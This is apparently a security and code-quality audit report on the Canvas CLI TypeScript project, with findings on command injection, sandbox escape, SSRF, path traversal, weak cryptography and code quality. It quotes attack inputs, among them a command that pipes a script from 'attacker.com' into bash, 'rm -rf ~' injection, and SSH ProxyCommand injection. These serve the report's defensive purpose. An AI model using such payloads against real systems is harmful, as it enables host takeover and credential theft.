Canvas CLI

Security & Code Quality Audit Report

REPORT DATE **February 22, 2026**	VERSION AUDITED **v3.0.0**
AUDIT TYPE **White-box Review**	CLASSIFICATION **Confidential**
SOURCE FILES **218 TypeScript**	TEST FILES **7 (≈3% coverage)**

4	11	16	7
CRITICAL	HIGH	MEDIUM	LOW

Executive Summary

OVERALL RISK RATING

CRITICAL

Not recommended for production deployment in current state

4 Critical Severity Findings	**11** High Severity Findings
16 Medium Severity Findings	**7** Low Severity Findings

A comprehensive white-box audit of the Canvas CLI project (v3.0.0) was conducted on February 22, 2026. The audit covered 218 TypeScript source files spanning security controls, code quality, architecture, build configuration, and test coverage.

The audit identified **38 total findings** including 4 critical vulnerabilities that, if exploited, could result in remote code execution, full host compromise, or complete bypass of the encryption and authentication systems. The codebase presents multiple layers of systemic risk: unauthenticated API surfaces, command injection vectors, broken cryptography, and virtually no automated test coverage.

> ⚠️ **Production Readiness:** Despite the filename `production-server.ts` and claims of "enterprise-grade" features, the system has no authentication on its API, simulates production metrics with `Math.random()`, stores all user data in RAM (lost on restart), and contains 15 empty route handlers that hang connections. The project should not be deployed in a production or multi-user environment without significant remediation.

Key Critical Findings

- **Remote Code Execution (SEC-002):** The advanced hooks system uses `new Function()` to execute arbitrary code strings within a VM sandbox that explicitly includes `require` and full `process.env` — defeating the sandbox entirely.
- **Command Injection (SEC-003):** User-controlled parameters are interpolated directly into shell commands via `exec(params.task)` with no sanitization in cloud agent and failure recovery tools.
- **Broken Encryption (SEC-004):** AES key derivation uses a hardcoded static salt `'canvas-cli-salt'`, eliminating the cryptographic protection of the key derivation function for all stored secrets.

- **Weak Default Password (SEC-001):** The Docker Compose configuration ships with `canvas123` as the fallback database password.

Top 10 Remediation Priorities

1. Remove `require` and `process.env` from the VM sandbox in `advanced-hooks-system.ts` or replace `new Function()` entirely.
2. Replace `exec(params.task)` with `spawn()` using array-based argument lists in `cloudAgents.ts` and `failureRecovery.ts`.
3. Remove the `:-canvas123` default from `docker-compose.yml` — make `POSTGRES_PASSWORD` required.
4. Replace the hardcoded `'canvas-cli-salt'` in `secretRedaction.ts` with a per-encryption random salt stored alongside the ciphertext.
5. Add authentication middleware to all dashboard API routes before any other feature work.
6. Add base-directory allowlist validation to `ReadFileTool`, `WriteFileTool`, and `DeleteFileTool`.
7. Implement or remove the 15 empty stub handlers in `production-server.ts` (they currently hang connections indefinitely).
8. Fix the `require('os')` call inside an ES module in `server.ts` line 328.
9. Implement persistent storage (SQLite minimum) for user/session data in `MultiUserSystem`.
10. Achieve meaningful test coverage for all security-critical modules.

Table of Contents

Complete findings matrix with severity and category

Section 1 — Security Findings

4 Critical · 7 High · 4 Medium · 2 Low

SEC-001 **Hardcoded Default Database Password in docker-compose.yml** CRITICAL

`docker-compose.yml · Line 66`

The Docker Compose configuration uses a shell-expansion default value of `canvas123` for the PostgreSQL root password. Any deployment where the `POSTGRES_PASSWORD` environment variable is not explicitly set will start with this known, weak credential.

```
POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-canvas123}   # ← hardcoded fallback
```

Impact: An attacker with network access to the database port gains full database access without any brute-force effort, since the password is public knowledge once this file is read.

REMEDIATION

Remove the fallback value: change to `POSTGRES_PASSWORD=${POSTGRES_PASSWORD}`. Docker Compose will error at startup if the variable is not set, forcing operators to provide a real credential. Document the required environment variables in a `.env.example` file.

SEC-002 new Function() Dynamic Code Execution with Broken Sandbox

CRITICAL

`src/hooks/advanced-hooks-system.ts · Lines 562, 566, 576–581, 826 · src/ai/automatic-bug-detector.ts · Line 514`

The advanced hooks system dynamically constructs JavaScript functions from arbitrary string inputs using `new Function()`, then places them inside a Node.js VM context intended to sandbox execution. However, the VM sandbox context explicitly passes `require` and the full `process.env` object into the sandbox:

```
const sandbox = {
  console,
  require,            // ← full Node.js require: accesses any module
  process: {
    env: process.env, // ← exposes ALL environment variables (API keys, secrets)
    argv: process.argv,
  },
  // ...
};
```

With `require` available inside the sandbox, any code running in the VM can call `require('child_process').execSync('id')`, completely escaping the sandbox. The VM module in Node.js is explicitly *not* a security boundary — it is documented as unsuitable for running untrusted code. Using `new Function()` before entering the VM further bypasses any protection.

Impact: Remote code execution. Any user or AI agent capable of supplying hook code can execute arbitrary commands on the host operating system.

REMEDIATION

Replace `new Function()` + VM with a proper sandboxed execution environment. Options include: (1) **DENO SUBPROCESS** — isolated runtime with explicit permission grants; (2) **WORKER THREADS WITH A RESTRICTED CONTEXT** — no `require`, no `process`; (3) **LIMIT HOOKS TO A DECLARATIVE CONFIGURATION LANGUAGE** (JSON/YAML) rather than arbitrary JavaScript. At minimum, remove `require` and `process.env` from the sandbox context immediately.

SEC-003

Unvalidated Command Injection via exec() in Cloud Agent Tools

CRITICAL

`src/tools/cloudAgents.ts · Lines 192, 213 · src/tools/failureRecovery.ts · Line 297`

User-controlled string parameters are interpolated directly into shell commands passed to Node's `exec()`, which invokes a system shell (`/bin/sh`). The only sanitization applied is a double-quote escape on `params.task` (Line 192), which is insufficient.

```
// cloudAgents.ts line 192 — SSH command injection
const sshCommand = `ssh ${params.host} "${params.task.replace(/"/g, '\\"')}"`;
exec(sshCommand, ...);

// cloudAgents.ts line 213 — direct shell execution of user task string
exec(params.task, { cwd: params.workdir }, ...);

// failureRecovery.ts line 297 — unsanitized recovery command
exec(command, { timeout: 30000 }, ...);
```

An attacker supplying `params.host = "host; rm -rf ~"` or `params.task = "$(curl attacker.com/shell.sh | bash)"` can execute arbitrary commands. Single quotes, backticks, and `$()` substitutions are all unescaped.

Impact: Full host compromise — arbitrary command execution as the process user.

REMEDIATION

Replace all `exec(string)` calls with `spawn(command, args[])` where arguments are passed as separate array elements (never interpolated into a string). For SSH: construct the argument array as `['ssh', host, '--', task]` — `--` prevents option injection and the shell is never invoked. Validate `params.host` against a strict allowlist or hostname regex before use.

SEC-004 Hardcoded Static Salt Breaks AES Key Derivation

CRITICAL

`src/features/security/secretRedaction.ts · Lines 679, 696 · src/utils/api-key-manager.ts · Line 192`

The `scryptSync` key derivation function is called with the same literal string as the salt for every encryption operation. The purpose of a salt is to ensure that even identical passwords produce different derived keys, preventing precomputed (rainbow table) attacks.

```
// secretRedaction.ts
const key = crypto.scryptSync(this.encryptionKey, 'canvas-cli-salt', 32);

// api-key-manager.ts (legacy path)
const key = crypto.scryptSync(this.encryptionKey, 'salt', 32);
```

With a static salt, anyone who knows the application's salt value (which is now public via this audit) and obtains the `encryptionKey` (which defaults to a system-derived value) can precompute lookup tables for all possible keys. All stored secrets encrypted with this scheme are at elevated risk.

Impact: Encrypted API keys and secrets are significantly more vulnerable to offline cracking if the key store file is obtained.

REMEDIATION

Generate a cryptographically random 16-byte salt per encryption operation: `const salt = crypto.randomBytes(16)`. Store the salt alongside the ciphertext (e.g., as a prefix or in the serialized format). On decryption, extract the salt from the stored data. This is the standard "authenticated encryption with random salt" pattern. Also ensure the legacy `'salt'` path in `api-key-manager.ts` is migrated and removed.

SEC-005 Wildcard CORS Origin on Dashboard Servers

HIGH

`src/dashboard/server.ts · Line 63 · src/dashboard/demo-server.ts · Lines 47, 142`

The CORS configuration uses `origin: '*'` (wildcard), allowing any website to make cross-origin requests to the dashboard. Combined with the complete absence of authentication (SEC-007), any webpage the user visits can silently issue API calls to execute tasks, read agent state, and modify workflows on the user's local Canvas CLI dashboard.

```
app.use(cors({
  origin: config.corsOrigin || '*',  // ← falls back to wildcard
  credentials: true,
}));
```

Impact: Cross-site request forgery; unauthorized task execution from any web page visited while the dashboard is running.

REMEDIATION

Set a specific allowlist of permitted origins (e.g., `['http://localhost:3000']`). Never use `*` with `credentials: true` — browsers will reject this combination anyway. Add CSRF token validation for all state-mutating routes.

SEC-006 JWT Secret Ephemeral — Lost on Every Process Restart

HIGH

`src/features/enterprise/multi-user-system.ts · Line 114`

When neither a constructor argument nor the `JWT_SECRET` environment variable is provided, a new 32-byte random secret is generated on startup. Since `MultiUserSystem` is instantiated as a module-level singleton (line 863), every process restart produces a new secret, invalidating all existing tokens.

```
this.jwtSecret = jwtSecret
  || process.env.JWT_SECRET
  || crypto.randomBytes(32).toString('hex');  // ← new secret every restart
```

Impact: All user sessions are invalidated on every application restart. In a multi-replica deployment, replicas share no secret, making cross-replica authentication impossible.

REMEDIATION

Require `JWT_SECRET` to be set explicitly as an environment variable and throw an error at startup if absent. Document the minimum key length (≥32 bytes of entropy). For multi-replica deployments, store the secret in a shared secrets manager (Vault, AWS Secrets Manager, Kubernetes Secret).

SEC-007 No Authentication on Any Dashboard API Route

HIGH

`src/dashboard/server.ts · Lines 92–186 · src/dashboard/production-server.ts · Lines 184–224`

All REST API routes and WebSocket message handlers accept requests from any client without verifying identity. Routes include task submission, workflow modification, agent management, and planning board access. There is no authentication middleware registered anywhere in the Express application.

```
// server.ts — all routes are open
app.get('/api/agents', (req, res) => { ... });       // no auth
app.post('/api/tasks', (req, res) => { ... });       // no auth — execute arbitrary tasks
app.put('/api/workflows/:id', (req, res) => { ... }); // no auth
```

Impact: Any client that can reach the dashboard port (including via CORS from a malicious web page, given SEC-005) can submit tasks for execution, read all system state, and modify all workflows.

REMEDIATION

Implement Express middleware to verify a Bearer JWT token on all API routes. Use the existing `MultiUserSystem.validateToken()` method. For local-only single-user deployments, bind the server to `127.0.0.1` only rather than `0.0.0.0`.

SEC-008 Server-Side Request Forgery (SSRF) in Web Fetch Tools

HIGH

`src/tools/web.ts · Lines 42–85, 154–189`

The `WebFetchTool` and `APIRequestTool` validate URLs using `new URL()` (structural validity only) and immediately make HTTP requests to the resolved address. There is no filter for private, link-local, or loopback IP ranges.

```
// web.ts WebFetchTool — no internal IP filtering
const url = new URL(params.url); // only validates format
const response = await fetch(params.url); // fetches any address
```

An AI agent or user can direct these tools to probe `http://169.254.169.254/latest/meta-data/` (AWS instance metadata), `http://192.168.x.x/admin`, or any other internal network resource.

Impact: Cloud credential theft via instance metadata endpoints, internal service enumeration, potential access to private APIs not intended to be externally reachable.

> **REMEDIATION**
>
> After URL parsing, resolve the hostname to an IP address and validate against a blocklist of private CIDR ranges: `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `::1`, `fc00::/7`. Reject requests to any of these ranges.

SEC-009 Path Traversal in File System Tools

HIGH

`src/tools/fileSystem.ts · Lines 14–31, 43–54, 214`

The `ReadFileTool`, `WriteFileTool`, and `DeleteFileTool` resolve user-supplied paths with `path.resolve()` but do not restrict access to any base directory. An AI agent or user can read, write, or delete any file accessible to the process.

```
// fileSystem.ts — no base directory restriction
const resolvedPath = path.resolve(params.path); // resolves ../../etc/passwd
const content = await fs.readFile(resolvedPath, 'utf-8');
```

Impact: Arbitrary file read (e.g., `/etc/passwd`, `~/.ssh/id_rsa`, `.env` files), write (overwrite system files, inject malicious scripts), and delete (destructive data loss).

> **REMEDIATION**
>
> Define a `BASE_DIR` (e.g., the project working directory). After resolving the path, verify it starts with `BASE_DIR + path.sep`: `if (!resolvedPath.startsWith(baseDir + '/')) throw new Error('Path traversal denied')`. Reject any path that escapes the base directory.

SEC-010 Overly Broad AWS Secret Key Regex Generates Mass False Positives

HIGH

`src/features/security/secretRedaction.ts · Lines 132–140`

The regex pattern used to detect AWS secret access keys matches any 40-character base64-like string, which includes UUIDs, SHA-1 hashes, JWT segments, and ordinary base64-encoded data. This will cause widespread false-positive redactions in normal output.

```
// Pattern matches far too broadly:
{ name: 'AWS Secret Key', pattern: /[A-Za-z0-9/+=]{40}/g, ... }
```

Impact: Users experience incorrect redaction of legitimate content, lose trust in the redaction system, and may disable it — causing real secrets to be exposed. Alternatively, real AWS secret keys may be missed among the noise.

> REMEDIATION
>
> AWS secret access keys always follow 40-character base64 strings that appear after specific context markers. Use a more targeted pattern such as `/(?<=aws_secret_access_key\s*=\s*)[A-Za-z0-9/+=]{40}/gi` or require the key to appear after known AWS key prefixes. Refer to the AWS documentation for the canonical secret key format.

SEC-011 Admin Password Logged in Plaintext to Console

HIGH

`src/features/web/webInterface.ts · Lines 147–149`

When the web interface initializes without an existing admin user, it generates a random password and logs it to stdout via `console.log()`. In production environments with log aggregation (Splunk, Datadog, CloudWatch, ELK), this creates a persistent plaintext credential record.

```
const defaultPassword = crypto.randomBytes(16).toString('hex');
await this.createUser('admin', defaultPassword, 'admin');
console.log(chalk.yellow(`⚠️  Default admin user created with password: ${defaultPasswo
rd}`));
```

Impact: Admin credentials exposed in log aggregation systems, log files, and terminal scrollback buffers accessible to system administrators and log readers.

> REMEDIATION
>
> Write the generated password to a secure, file-only location (e.g., `~/.canvas/admin-credentials` with mode 0600) rather than stdout. Display a message indicating *where* to find the credentials without logging the credential itself. Alternatively, require an initial password to be set via environment variable.

SEC-012 Legacy Encryption Format with Hardcoded 'salt' Still Active

MEDIUM

`src/utils/api-key-manager.ts · Lines 190–198`

The decrypt method still handles a "legacy format" that uses a hardcoded salt string `'salt'`. This path remains active, meaning any attacker who can write a two-part encrypted value to the keys file can force use of the weaker, fully predictable key derivation.

```
if (parts.length === 2) {
  // Handle legacy format (iv:encrypted with hardcoded salt)
  const key = crypto.scryptSync(this.encryptionKey, 'salt', 32); // ← hardcoded
}
```

REMEDIATION

Implement a migration tool that re-encrypts all legacy-format keys to the current format, then remove the legacy code path entirely.

SEC-013 SSH Host Parameter Injection

MEDIUM

`src/tools/cloudAgents.ts · Line 192`

Beyond the task injection in SEC-003, the `params.host` parameter is also interpolated directly into the SSH command string without any validation. A malicious host value such as `-o ProxyCommand=... evil.com` can redirect the SSH connection through an attacker-controlled proxy.

```
const sshCommand = `ssh ${params.host} "${params.task.replace(/"/g, '\\"')}"`;
//           ↑ unvalidated hostname — option injection possible
```

REMEDIATION

Validate `params.host` against a strict hostname/IP regex. Pass it as a separate argument to `spawn()` with `--` separator. Consider maintaining a whitelist of permitted hosts.

SEC-014 require() Called Inside ES Module Body Exposes process.env

MEDIUM

`src/dashboard/server.ts · Line 328 · src/features/monitoring/performanceDashboard.ts · Lines 498–502`

CommonJS `require()` is called inside method bodies in a project configured as `"type": "module"`. This will throw a `ReferenceError` at runtime when those code paths are executed. Additionally, `performanceDashboard.ts` uses `require('child_process').exec()` to play system sounds with hardcoded OS commands.

```
// server.ts line 328 — crashes at runtime in ESM context
private collectSystemMetrics(): void {
  const os = require('os'); // ReferenceError: require is not defined
}
```

REMEDIATION

Replace all `require()` calls with ES module `import` statements at the top of the file. The `os` module is already imported at the top of `production-server.ts` — apply the same pattern.

SEC-015 No Input Validation on Base Dashboard Task API

MEDIUM

`src/dashboard/server.ts · Lines 125–132`

The task submission endpoint passes `req.body` directly to `submitTask()` without schema validation. While `production-server.ts` uses Zod for validation, the base `server.ts` (which is also importable and usable) has no such protection, creating a second unguarded attack surface.

REMEDIATION

Apply the same Zod validation schema used in `production-server.ts` to `server.ts`. Consider consolidating the two dashboard implementations into one.

SEC-016 Incomplete Environment Variable Filtering in Shell Tool

LOW

`src/tools/shell.ts · Lines 51–61`

`FILTERED_ENV_VARS` is a static allowlist of environment variables to pass to child processes. Variables like `ANTHROPIC_API_KEY`, `HUGGINGFACE_TOKEN`, `STRIPE_SECRET_KEY`, and many other common secret variable names are absent. The supplementary regex filter helps but has gaps.

REMEDIATION

Expand the regex pattern to include `_SECRET`, `_TOKEN`, `_AUTH`, `_BEARER`, `_CREDENTIAL` suffixes. Consider a deny-by-default approach: pass only an explicit allowlist of safe variables to subprocesses.

SEC-017

MD5 Used for File Hashing in Security Module

LOW

`src/features/security/secretRedaction.ts · Line 383`

MD5 is a cryptographically broken hash function. While its use here is for file deduplication rather than security, its presence in a module named `secretRedaction.ts` is inappropriate and sets a bad precedent for future use.

```
crypto.createHash('md5').update(content).digest('hex')
```

REMEDIATION

Replace with `sha256` or, for high performance non-cryptographic use, use `xxhash`. This is a minor change with no functional impact.

Section 2 — Code Quality Findings

5 High · 5 Medium · 2 Low

QUAL-001 2,796 Lines of Dead Code in .old Files

HIGH

`src/commands.old.ts (1,030 lines) · src/index.old.ts (1,766 lines)`

Two large `.old` files exist in the source tree containing abandoned previous implementations. These files import non-existent modules, contain broken logic, and add significant confusion to anyone navigating the codebase. They are untracked by git but clutter the working directory.

REMEDIATION

Delete both files. The git history provides sufficient version control if old code needs to be recovered. Add `*.old.ts` to `.gitignore`.

QUAL-002 1,134 Explicit 'any' Annotations Across 170 Files

HIGH

`170 source files — pervasive`

Despite TypeScript being configured with `strict: true` and `noImplicitAny: true`, there are 1,134 explicit `any` type annotations throughout the codebase. This negates the primary benefit of using TypeScript. Key examples include core data stores in the orchestrator and dashboard typed as `Map<string, any>`, and tool return values typed as `Promise<any>`.

```
// orchestrator.ts — core data typed as any
agents: Map<string, any> = new Map();
tasks: Map<string, any> = new Map();

// tools/shell.ts
async execute(params: any): Promise<any>
```

REMEDIATION

Define proper interfaces for all core domain objects (Agent, Task, Workflow, etc.) in `src/types.ts`. Enforce a TypeScript ESLint rule `@typescript-eslint/no-explicit-any` with `error` severity. Address the 1,134 violations incrementally using `unknown` with type guards where the type is genuinely dynamic.

QUAL-003 15 Empty Stub Route Handlers Hang Connections Indefinitely

HIGH

`src/dashboard/production-server.ts · Lines 598–681`

Fifteen private handler methods are registered as active API routes but contain no implementation — just a comment. Express requires every route handler to either send a response or call `next()`. These empty handlers cause the HTTP request to hang indefinitely until the client times out.

```
private async handleGetAgent(req: Request, res: Response): Promise<void> {
  // Implementation placeholder   ← no response sent
}

private async handleUpdateAgent(req: Request, res: Response): Promise<void> {
  // Implementation placeholder   ← connection hangs
}
```

Impact: Any client calling these 15 endpoints will wait indefinitely, consuming server file descriptors and potentially enabling a denial-of-service condition.

REMEDIATION

Immediately add `res.status(501).json({ error: 'Not implemented' })` to all stub handlers. Then prioritize implementing or removing the routes based on actual need.

QUAL-004 setInterval Timers Never Cleared — Memory Leak on Shutdown

HIGH

`src/dashboard/server.ts · Line 321 · src/dashboard/production-server.ts · Lines 452–470`

Multiple `setInterval` timers are created during server initialization but the returned timer IDs are never stored or cleared in the server's `stop()` method. After `stop()` is called, the timers continue firing callbacks that attempt to use the now-closed socket and HTTP server, causing uncaught errors and preventing garbage collection of the server objects.

REMEDIATION

Store timer IDs in instance variables: `this.metricsTimer = setInterval(...)`. In `stop()`, call `clearInterval(this.metricsTimer)` before closing the server. Use `timer.unref()` for non-critical background timers so they don't prevent Node.js from exiting cleanly.

QUAL-005 Module-Level Singletons Perform I/O on Import

HIGH

`src/features/enterprise/multi-user-system.ts · Line 863 · src/utils/api-key-manager.ts · Line 246 · src/features/security/secretRedaction.ts · Lines 705–712`

Multiple classes are instantiated at module load time as exported singletons. Their constructors perform file I/O, cryptographic operations, and process setup. This creates hidden startup costs, ordering dependencies between modules, and makes unit testing effectively impossible without complex mocking setup.

```
// instantiated when module is first imported:
export const multiUserSystem = new MultiUserSystem();  // reads files, sets up crypto
export const apiKeyManager = new APIKeyManager();      // reads ~/.canvas/keys
```

REMEDIATION

Replace constructor-time I/O with an explicit async `initialize()` method. Export the class, not the instance. Let the application entrypoint construct and initialize the singleton. This follows the factory pattern and makes testing straightforward.

QUAL-006 Production Server Uses Math.random() for Simulated Metrics

MEDIUM

`src/dashboard/production-server.ts · Lines 508–527`

The `getResourceUsage()` method in the file named `production-server.ts` fabricates CPU, disk, and network metrics using `Math.random()`. This data is served to dashboard clients as if it represents actual system state.

```
cpu: {
  usage: Math.random() * 0.6 + 0.2,   // ← fake: simulated 20-80%
},
disk: {
  percentage: Math.random() * 0.5 + 0.3,  // ← fake: simulated 30-80%
},
network: {
  bytesReceived: Math.floor(Math.random() * 1000000),  // ← completely fabricated
```

REMEDIATION

Replace with actual system metrics using Node.js's built-in `os` module: `os.cpus()`, `os.freemem()` / `os.totalmem()`. For disk usage, use the `statvfs` syscall via `fs.statfs()` (Node 19+) or the `disk-usage` npm package.

QUAL-007 Two Parallel Command Registration Systems

MEDIUM

`src/commands.ts · src/commands/index.ts`

The project has two separate, incompatible command registration systems. `src/commands.ts` contains a `CommandHandler` class (the older system), while `src/commands/index.ts` uses Commander.js (the current system used in `src/index.ts`). Commands registered in one system do not appear in the other, leading to inconsistent behavior and dead code.

> **REMEDIATION**
>
> Identify which system is canonical (Commander-based `src/commands/index.ts` appears current). Migrate any remaining commands from `src/commands.ts` into the Commander system, then delete `src/commands.ts`.

QUAL-008 Stats Command Returns Hardcoded Fictional Data

MEDIUM

`src/commands/index.ts · Lines 252–314`

The `/stats` command displays session statistics to users, but the values are hardcoded fictional numbers with comments acknowledging they are not real.

```
commands: 42, // Would be tracked in actual implementation
modelsUsed: ['gpt-oss:20b', 'codellama:latest'], // hardcoded model names
```

> **REMEDIATION**
>
> Implement actual session tracking, or remove the command until real data is available. Displaying fake data to users erodes trust.

QUAL-009 require() Inside ES Module Will Throw at Runtime

MEDIUM

`src/dashboard/server.ts · Line 328`

The project is configured as `"type": "module"` in `package.json`, making `require()` unavailable at runtime. The `collectSystemMetrics()` method calls `require('os')` inside the method body, which will throw a `ReferenceError` the first time this method is called.

```
private collectSystemMetrics(): void {
  const os = require('os'); // ← ReferenceError: require is not defined
```

> **REMEDIATION**
>
> Add `import os from 'os'` at the top of the file (consistent with how `production-server.ts` handles it). Remove the inline `require()`.

QUAL-010 God Classes Violating Single Responsibility Principle

MEDIUM

`src/features/enterprise/multi-user-system.ts (863 lines) · src/features/security/secretRedaction.ts (712 lines) · src/agents/orchestrator.ts (888 lines)`

Three classes each handle responsibilities that should belong to 5–8 separate modules. `MultiUserSystem` alone manages user CRUD, authentication, JWT, password policy, brute-force protection, session management, and activity logging — all with in-memory storage. This makes the code very difficult to test, debug, and extend.

REMEDIATION

Decompose each god class by responsibility: e.g., `UserRepository`, `AuthService`, `SessionManager`, `ActivityLogger`. This enables isolated testing of each component and makes the system easier to reason about.

QUAL-011 Task Completion Uses Polling Instead of Events

LOW

`src/agents/orchestrator.ts · Lines 421–443`

The `waitForTaskCompletion()` method polls a `completedTasks` Map every 100ms to detect task completion, despite the orchestrator already using `EventEmitter` and emitting `'task-completed'` events. The polling approach wastes CPU cycles and adds up to 100ms of unnecessary latency.

REMEDIATION

Replace the polling loop with a `Promise` that resolves on the `'task-completed'` event: `await once(orchestrator, 'task-completed')`.

QUAL-012 Global uncaughtException Handler Accumulates in Tests

LOW

`src/utils/error-handler.ts · Line 69`

The `ErrorHandler` constructor registers a `process.on('uncaughtException')` listener. Since it's a singleton retrieved via `getInstance()`, under normal use it registers once. But in test environments where modules may be re-evaluated or the singleton is reset, duplicate global handlers can accumulate, triggering `MaxListenersExceededWarning` and causing duplicate error logging.

REMEDIATION

Move the global handler registration to an explicit `setup()` method called once during application bootstrapping. Use `process.once()` instead of `process.on()`, or check `process.listenerCount('uncaughtException')` before registering.

Section 3 — Architecture Findings

2 High · 5 Medium

ARCH-001 Two Parallel Dashboard Implementations — Neither Complete

HIGH

`src/dashboard/server.ts (710 lines) · src/dashboard/production-server.ts (768 lines) · src/dashboard/demo-server.ts`

There are three separate Express/Socket.IO dashboard server implementations. `server.ts` lacks input validation and uses wildcard CORS. `production-server.ts` has Zod validation but 15 empty handlers. `demo-server.ts` is what the `package.json` `dashboard` script actually runs. None of the three is production-ready. This creates significant confusion about which is canonical and duplicates maintenance burden.

> **REMEDIATION**
>
> Consolidate into a single dashboard server implementation. Bring the Zod validation from `production-server.ts`, the working routes from `server.ts`, and delete the other two. Use feature flags or configuration to enable/disable capabilities rather than separate server implementations.

ARCH-002 All User/Session Data In-Memory — Lost on Every Restart

HIGH

`src/features/enterprise/multi-user-system.ts`

All user accounts, active sessions, activity logs, and authentication state are stored exclusively in JavaScript `Map` and `Set` objects in process memory. Every application restart destroys all registered users (except the auto-recreated admin with a new random password each time). This makes the "enterprise multi-user" feature non-functional for any real use case.

```
// All state is in-memory:
private users: Map<string, User> = new Map();
private sessions: Map<string, Session> = new Map();
private activities: Activity[] = [];
```

Impact: The multi-user system is fundamentally non-functional for production use. All user data is lost on restart.

> **REMEDIATION**
>
> Implement a storage layer. For a CLI tool, a local SQLite database (via `better-sqlite3`) is appropriate. For multi-server deployments, use PostgreSQL (already configured in Docker Compose). Define a `UserRepository` interface and provide both in-memory (for tests) and persistent (for production) implementations.

ARCH-003 Version Inconsistency Across Files

MEDIUM

`package.json · src/index.ts · src/dashboard/production-server.ts`

The application version is hardcoded in multiple places and they disagree. `package.json` declares version `3.0.0`, `src/index.ts` hardcodes `'3.0.0'`, and `src/dashboard/production-server.ts` reports version `'2.0.0'` to API clients.

> **REMEDIATION**
>
> Read the version from `package.json` at runtime: `import { createRequire } from 'module'; const pkg = createRequire(import.meta.url)('./package.json');`. Use `pkg.version` as the single source of truth.

ARCH-004 moduleResolution: "bundler" Used Without a Bundler

MEDIUM

`tsconfig.json · Line 5`

The TypeScript configuration specifies `"moduleResolution": "bundler"`, a resolution mode designed for use with bundlers like Vite, esbuild, or webpack. This project builds with `tsc` directly and runs in Node.js. The correct setting is `"moduleResolution": "node16"` or `"nodenext"`, which properly handles Node.js ESM resolution rules (requiring file extensions in imports, etc.).

> **REMEDIATION**
>
> Change to `"module": "node16", "moduleResolution": "node16"`. This may require adding explicit `.js` extensions to relative imports throughout the codebase (required by Node.js ESM), which is a meaningful refactor but ensures correct runtime behavior.

ARCH-005 skipLibCheck: true Masking Type Errors

MEDIUM

`tsconfig.json · Line 16`

`skipLibCheck: true` disables type checking of all `.d.ts` files in `node_modules`. Combined with the 1,134 `any` annotations and `bundler` module resolution, the TypeScript compiler is providing significantly less safety than its configuration implies.

> **REMEDIATION**
>
> Enable `skipLibCheck: false` and address any resulting errors. This ensures type compatibility between library versions is verified at compile time. Use `@ts-expect-error` with comments for unavoidable library type issues rather than blanket suppression.

Section 4 — Build & Configuration Findings

4 Medium · 1 Low

BUILD-001 @types/* Packages Listed as Production Dependencies

MEDIUM

`package.json · dependencies section`

Fourteen `@types/*` packages — including `@types/cheerio`, `@types/cors`, `@types/express`, `@types/fs-extra`, and others — are listed under `dependencies` (production) rather than `devDependencies`. Type declaration packages are compile-time artifacts only and add unnecessary weight to production installations.

REMEDIATION

Move all `@types/*` packages to `devDependencies`. Production installs (`npm ci --omit=dev`) will then correctly exclude them, reducing install size.

BUILD-002 Dockerfile Build Stage Has Redundant npm Dependency Install

MEDIUM

`Dockerfile · Lines 14–17`

The Dockerfile builder stage runs `npm ci --only=production` (skipping devDependencies including TypeScript), then immediately runs `npm install -g typescript` to install it globally. This is inefficient, bypasses the lockfile for the global install, and may install a different TypeScript version than specified in `package.json`.

```
# Current — inefficient:
RUN npm ci --only=production && npm install -g typescript
RUN npm run build   # requires tsc from devDependencies

# Better — separate build and runtime stages:
# Builder: npm ci  (includes devDependencies + typescript)
# Runtime: npm ci --omit=dev
```

REMEDIATION

Use a multi-stage Docker build: Stage 1 (builder) runs `npm ci` (all deps) and `npm run build`. Stage 2 (runtime) runs `npm ci --omit=dev` and copies the `dist/` output from Stage 1. This produces a smaller, cleaner production image.

BUILD-003 docker-compose.yml References Non-Existent Dockerfile.web

MEDIUM

`docker-compose.yml · Line 95`

The `canvas-web` service references `dockerfile: Dockerfile.web`, but no such file exists in the repository. Running `docker compose up --profile with-web` will fail immediately with a build error.

REMEDIATION

Either create the missing `Dockerfile.web` or remove the `canvas-web` service from `docker-compose.yml`. Add the missing file to a CI check to prevent future regressions.

BUILD-004 Unpinned Docker Base Image Tags

MEDIUM

`Dockerfile · Line 1`

The Dockerfile uses floating tags (`node:20-alpine`) rather than pinned digest references. A compromised or updated upstream image can silently alter the build without any change to the Dockerfile.

REMEDIATION

Pin to a specific digest: `FROM node:20.18.0-alpine3.21@sha256:<digest>`. Use Dependabot or Renovate to automate updates with proper review.

BUILD-005 Jest Requires Experimental VM Modules Flag

LOW

`package.json · scripts.test · Line 18`

The test command uses `node --experimental-vm-modules` to enable Jest ESM support. This is a Node.js experimental API that may change between releases. The combination of `jest@30` and `ts-jest@29` may have compatibility issues.

REMEDIATION

Consider switching to Vitest, which has native ESM support without requiring experimental flags. Alternatively, align the `jest` and `ts-jest` major versions (both should be `@29` or both `@30`).

🧪 Section 5 — Test Coverage

1 High · 1 Medium

TEST-001 ~3% Test Coverage — 7 Test Files for 218 Source Files

HIGH

`tests/ directory`

The project has 218 TypeScript source files and only 7 test files. Zero test coverage exists for the following critical modules:

Module	Risk Level	Test Coverage
src/tools/shell.ts	Critical	None
src/tools/fileSystem.ts	Critical	None
src/features/security/secretRedaction.ts	Critical	None
src/utils/api-key-manager.ts	Critical	None
src/features/enterprise/multi-user-system.ts	High	None
src/agents/orchestrator.ts	High	None
src/dashboard/ (all files)	High	None
src/tools/web.ts	High	None
src/tools/git.ts	Medium	None

Additionally, `tests/unit/config.test.ts` does not import the actual `loadConfig` / `saveConfig` functions — it inlines copies of the logic, meaning the tests do not exercise the real module at all.

> **REMEDIATION**
>
> Set a coverage gate of ≥80% for security-critical modules as a prerequisite for production deployment. Prioritize tests in this order: (1) secret redaction and API key manager, (2) file system tools with path traversal scenarios, (3) shell tool with injection scenarios, (4) multi-user authentication flows, (5) dashboard API endpoints.

TEST-002 Singleton ErrorHandler Contaminates Test Isolation

MEDIUM

`tests/unit/utils/error-handler.test.ts · Line 18 · src/utils/error-handler.ts · Line 69`

The `ErrorHandler` singleton registers a `process.on('uncaughtException')` listener in its constructor. Test files that import this singleton modify global process state, affecting all other tests in the same Jest worker. This can cause `MaxListenersExceededWarning` and unpredictable test failures.

> **REMEDIATION**
>
> Add teardown in tests to remove listeners: `afterEach(() => process.removeAllListeners('uncaughtException'))`. Long-term: refactor `ErrorHandler` to not register global handlers in its constructor (per QUAL-012).

📋 Section 6 — Complete Findings Summary

All 38 findings sorted by severity

ID	SEVERITY	CATEGORY	FINDING SUMMARY
